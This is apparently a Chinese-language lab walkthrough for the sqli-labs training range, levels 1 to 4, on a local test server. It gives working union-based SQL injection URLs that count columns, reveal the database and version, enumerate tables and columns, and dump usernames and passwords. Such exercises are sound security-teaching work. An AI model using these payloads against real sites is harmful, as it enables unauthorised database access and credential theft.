首先打开php:
Less-1:
打开浏览器输入网址,进入靶场:
输入?id=1查询:
使用order by查询数据表的列数:
http://127.0.0.1/sqllab/less-1/?id=1' order by 4 --+
http://127.0.0.1/sqllab/less-1/?id=1' order by 3 --+
由此可得表有三列。
使用union查询:
http://127.0.0.1/sqllab/less-1/?id=1' union select 1,2,3 --+
由于只能查看第一组数据,所以我们需要修改id值,让他要么远超这个数据表,要不小于0:
http://127.0.0.1/sqllab/less-1/?id=-1' union select 1,2,3 --+
在知道了回显的列数是第二列和第三列,所以我们可以直接曝出数据库名和版本号:
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,database(),version()--+
曝表:
http://127.0.0.1/sqllab/less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
曝字段名:
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
根据查询到的结果,可以猜测username和password是账户名和密码。
获取用户名和密码:
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,2,group_concat(username ,0x3a , password) from users--+
Less-2:
(由于L-1~L-2差不多一样,所以直接按L-1步骤)
进入靶场:
输入?id=1查询:
输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,就是,把第一题中id=1后面的单引号去掉
使用order by查询数据表的列数:
http://127.0.0.1/sqllab/less-2/?id=1 order by 5 --+
http://127.0.0.1/sqllab/less-2/?id=1 order by 4 --+
http://127.0.0.1/sqllab/less-2/?id=1 order by 3 --+
使用union查询:
http://127.0.0.1/sqllab/less-2/?id=1 union select 1,2,3 --+
曝出数据库名和版本号:
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,database(),version()--+
曝表:
http://127.0.0.1/sqllab/less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
曝字段名:
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取用户名和密码:
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,group_concat(username ,0x3a , password) from users--+
Less-3:
进入靶场:
输入?id=1查询:
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select … from … where id=( ‘1’) …,在第一题中id=1’的后面单引号加上)
使用order by查询数据表的列数:
http://127.0.0.1/sqllab/Less-3/?id=1') order by 5--+
http://127.0.0.1/sqllab/Less-3/?id=1') order by 4--+
http://127.0.0.1/sqllab/Less-3/?id=1') order by 3--+
使用union查询:
http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,3--+
曝出数据库名和版本号:
http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,database(),version()--+
曝表:
http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
曝字段名:
http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取用户名和密码:
http://127.0.0.1/sqllab/Less-3/?id=-1') union select 1,2,group_concat(username ,0x3a , password) from users--+
Less-4:
进入靶场:
输入?id=1查询:
输入单引号,页面无任何变化,输入双引号,页面报错,根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,猜想一下:select … from … where id=(”1”) …,把第一题中1后面的引号换成双引号加)。
使用order by查询数据表的列数:
http://127.0.0.1/sqllab/Less-4/?id=1") order by 5--+
http://127.0.0.1/sqllab/Less-4/?id=1") order by 4--+
http://127.0.0.1/sqllab/Less-4/?id=1") order by 3--+
使用union查询:
http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,3--+
曝出数据库名和版本号:
http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,database(),version()--+
曝表:
http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
曝字段名:
http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'--+
获取用户名和密码:
http://127.0.0.1/sqllab/Less-4/?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+